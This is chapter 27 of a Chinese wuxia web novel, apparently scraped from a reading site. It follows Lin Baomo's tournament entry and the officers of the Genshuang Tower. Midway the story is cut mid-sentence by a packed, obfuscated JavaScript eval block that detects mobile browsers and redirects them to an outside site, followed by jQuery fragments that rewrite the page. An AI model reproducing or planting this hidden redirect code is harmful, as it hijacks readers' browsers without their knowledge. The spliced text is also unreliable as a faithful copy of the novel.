27. 耿霜楼楼主

作品:《退休居士

    “我兄长爱喝,”林抱墨只笑着,拿出随身的水葫芦,将其中清水倒入碗中,“给他备的。”


    松鹭单手托腮,嗤笑道:“林二公子当真大方,拿着本舍主的赏钱,接济旁人。”


    “旁人”一词用之不当,但林抱墨未语,眼含歉意,直言往后必尽心务工还上。


    草舍主只淡然一笑。


    他莫不是忘了,无论欠债与否,他这个人都已经是松鹭的了。


    酒香四溢,同游馆外亦飘香百里。


    卓呈腰悬双刀,斗笠微斜,将她半数面容挡在暗处。


    木门吱呀一声打开,窈窕淑女持扇掩唇,前来见客。


    来人一袭素红布衣,发髻挽成妇人模样,红绸及胫,迎风时随之纷飞,素有美感。


    “左侍大人?”女子抬眼,凤眸扫过暗处,不见旁人,“您不陪在楼主身侧,怎的到我这同游馆来了?”


    蒲柳,裴长渡门下,耿霜楼四大护法之一,号十杀令主。


    卓呈抬手行礼,先礼后答:“见过十杀令主,楼主在畴阳郡遇到一位旧相识,现下正在同游馆内,烦请您依命行事。”


    “哦?”闻言,蒲柳立即来了兴致,“既是楼主命令,属下自会协助。”


    “麻烦了。”言罢,卓呈抬手拉下斗笠一角,预备离开。


    对方又在此时开口,将近日楼内一个大麻烦甩给她。


    锣鼓开场,新一轮好戏即将上场。


    四人聚在擂台外,看一左一右两位高手对阵。


    江湖驿站与同游馆相似又不似,前者不知来处,消息透明,和睦非常;后者是由江湖义士自发组织兴起。


    然而,在无人知晓处,同游馆早叫耿霜楼吞并,成为十杀令主收集暗线资料的一把好手。


    此外,任何想要在同游馆取得江湖重闻者,当披荆斩棘、夺下擂主,才有权利一睹真相。


    换言之,林抱墨要想获得林玄词的消息,上擂台,就是他最不可多得的捷径。


    不过,要说捷径,也并非如此。


    任他剑再快再利,对手也未必籍籍无名。


    耿霜楼有一位护法,号叱咤堂主,其手下能人无数,高手更是不知凡几。


    每次开擂台,他总会配合着蒲柳放自己人打擂,只要对方不喜,或上头另有安排,他便会令打手将胜者踹下台。


    虽有些强买强卖的嫌疑,但……


    耿霜楼做事,从来不畏世人言语。


    这样想着,松鹭便没了负罪感,甚至还怂恿林抱墨上去一搏。


    今时只是登名,明日才是正式比赛。


    为保紫槐门威名,更为预防仇家寻敌,林抱墨特意化名松墨参赛。


    填上姓名与心中所惑,他便得了一枚玉石,是以证实身份之用。


    二楼包间内,蒲柳用扇子撩起幔帘一角,目光紧随松鹭,与其身旁某位极其眼熟的小公子。


    “那位便是林二公子?”她指着一道精瘦身影,问向塌上人。


    叱咤堂主吕肫,裴长庸座下强将,四大护法之一。


    “是啊。”吕护法撑着宽大肥胖的身躯,调整了一番坐姿,尽量让自己瞧上去更有大侠风范,“我也纳闷楼主是不是见色起意,日日带着这个小白脸。”


    蒲柳掩唇,笑道:“论姿色,林二公子与少主不相上下;论才干,林二公子与叶啻相比,也是不遑多让,高低也算个武学天才。”


    “但再怎么,他也够不上楼主的水准啊。”吕肫明显不服,“也不知楼主怎么想的,要放一个样样不及自己的人在身边。”


    “吕护法,慎言。”


    木门轻启,黄麂一身常服,为公子开道。


    吕肫顿时噤声,侧眸瞪了一眼蒲柳,似在怨怪对方,怎么不把公子的行程提前告知自己一声。


    十杀令主掌暗线,她不可能不知道,裴长渡会追随楼主前来同游馆。


    “见过公子,右侍大人。”两位护法及时低头,为来人让开最佳观赏位。


    裴长渡颔首应下,缓步上前,隔着一道珠帘,与楼下松鹭遥遥相望。


    “……”


    松鹭很快收回目光,在万人空巷中随林抱墨一道离去。


    黄麂在一旁目睹全程,惊诧于二人的生疏,不由得开口劝慰:“公子……”


    裴长渡抬手,掩下喉间酸苦,淡然问道:“林二所求为何?”


    蒲柳唤来僚属,将写着“松墨”的那份书帖送到他面前。


    “求:林玄词之所在”。


    裴长渡默然,将书帖归还原主,吩咐道:“既然他有所求,便如他所愿。”


    “是。”蒲柳领命,即刻下去安排明日比武事宜。


    在她之后,吕肫也以迎候裴长庸回楼为由离开了。


    无人知晓他们之间发生了什么,连左侍右侍也不得而知。


    总之在一次密谈后,裴长庸便借口任务需要远行,距今已有一月未归。


    同游馆外,松鹭先一步钻入骈车内,拉着初佩璟小声商榷。


    林抱墨哑然,却也只能认命般坐在外头驾车。


    宗冶手持地图,走在前头探路。


    虽说是件苦差,但偶尔在林抱墨与松鹭争辩今日谁来驾车时,得以庆幸自己职责固定。


    郭安城聚集天下豪客,更有耿霜楼坐落于此,城内客栈不少,各地吃食更多,往长街上一走,简直是琳琅满目、眼花缭乱。


    行于其间,初佩璟还想问有关宋启正及青魁武行之事,才刚开口就让松鹭堵了回去:“你要查此案,光凭江湖人人相传的流言没用。”


    初佩璟不解:“为何?”


    松鹭笑答:“宋启正乃是草莽发家,为寇时便有一众追随者,劫富济贫、仗义疏财,后入京创办青魁武行,收留天下独行客。


    “这群人,有的依旧潇洒世间,有的转向正途拜入江湖门庭。由此可见,此人威望颇高,正所谓,树欲静而风不止,”她一顿,又道,“他在武林中树敌太多,要查清是哪一个,怕是难上加难。”


    初佩璟听得云里雾里,震惊之余还有些许疑惑,于是顺着话往下问:“那我该如何行事?”


    本以为松鹭只是劝她知难而退,谁知对方竟嘿嘿一笑:“若你真想解惑,不妨前往昆山书院。”


    “昆山书院?”


    这又该轮到林抱墨开口了:“此地名望颇高,其院长梧桐先生,更是熟读各家门派行事准则与大澜律例,故而昆山书院亦有武林衙门之称,凡有恩怨,来此地走一遭便能握手言和。”


    “那梧桐先生能解紫槐门与耿霜楼之怨吗?”


    不是挑事,这是初佩璟的真心疑问。


    “很遗憾,林前盟主与裴楼主从未接受过昆山书院邀约。”松鹭笑着打断她的妄想,“另外,局外人莫要轻易介入耿霜楼之事,尤其是在幽客郡,更要少提。”


    并非恐吓,松鹭心里清楚,没了庇护,两位京城的贵人很难立足。


    林抱墨暂且不提,紫槐门与她素有交情,裴长渡不会轻易对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188954|195688||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他下手。


    但这人若是平白发起疯来,累及宗冶与初佩璟便不好了。


    宗冶要追查凶手定然不好哄骗,那就只能先保全初佩璟,再行安排了。


    客栈内,收拾完三间客房,掌柜这才带着松鹭前往寝居。


    “叶堂主早备下上好包房一间,就等着主上您回去小住了。”掌柜点头哈腰地走在前,手中自然接过她的行囊,“不知主上今次要留几日?”


    “不出三日,我便要走。”她答得坚决,眉眼冷淡疏离。


    “这……”掌柜双眸一转,旁敲侧击问,“主上不准备见少主一面吗?”


    “……”她不想答,索性阖眼,叫对方知难而退。


    常人可没有平白挨打的习惯,尤其对方还是裴长庸。


    掌柜很快领悟,为保命也不再多问,只尽到职责,完成裴长渡的叮嘱足矣。


    很快,一件玄色长衣被送入内间。


    其上暗金鎏纹异常惹眼,外着纱袍更添华贵,镶金革带勾勒腰身,乌金冠配流苏发带,挽在她半束发髻上。


    手边,还有一副银白铁面。


    耿霜楼内,卓呈与黄麂早在主楼外迎候。


    骏马并行,素车载着上位者行过大道,最终停在正门前。


    裴长庸长身玉立,纵然不见五官,端看那气质便是凡人所不能及。


    常年权力熏陶下,要说她蔼然可亲都是空谈。


    到底位尊多金,做这女儿恨嫁榜榜首也是当之无愧。


    “参见主上。”刹那间,一众信徒跪地。


    耿霜楼楼主裴长庸,乃北辰星拱,众望所归。


    吕肫余光瞥过身侧缺席的某人,额间不由得落下一滴冷汗。


    他与玄武弄堂堂主叶啻同为裴长庸座下护法,如今迎候楼主,连十杀令主与飞刀令主都在场,独独缺了裴长渡与叶啻。


    裴长渡是少主就算了,裴长庸不见得会降罪于他,那叶啻呢?


    这小子又搞什么?


    吕肫先裴长庸一步被气笑了。


    然而正主显然并不在意,只在行过他身侧时,淡然一句:“叶堂主日理万机。”


    她是神色如常,吕肫可冷汗连连,匆匆解释:“叶护法刚得了一套传世神兵的冶炼宝典,废寝忘食过了头,连主上大事都抛之脑后了,回去属下定会好好说教他。”


    “不必。”裴长庸知他圆谎不易,也不乐意戳穿,只当是小孩子闹脾气,改日哄哄也就翻篇了。


    眼下,还有件更棘手的事情。


    是夜,林抱墨辗转反侧。


    白日里同游馆内,他总以为四周有目光汇集,却又不见来处,只恐自己已让耿霜楼盯上,正盘算着如何将松鹭一行人推出局外。


    “咚咚咚。”


    有人叩门。


    “谁?”他立即警觉起来,左手探入枕下,握紧长剑,只等出鞘。


    “是我。”


    是松鹭。


    他忽的长舒一口气,起身套了一件长衣,前往开门。


    来人衣着单薄,长发散落,连鞋都不知在什么时候跑没影,可怜兮兮地站在门外。


    美人垂泪,当怜香惜玉。


    可她不由分说地闯入,一头扎进对方胸膛,哭诉屋内有小臂长的社鼠,吓人得很。


    虽说温香软玉在怀,可她少有主动时刻,林抱墨也没有一时义愤上头,还想商量着与她交换房间。


    可对方似乎并不这么想,随手就将七尺之躯推倒在床笫间……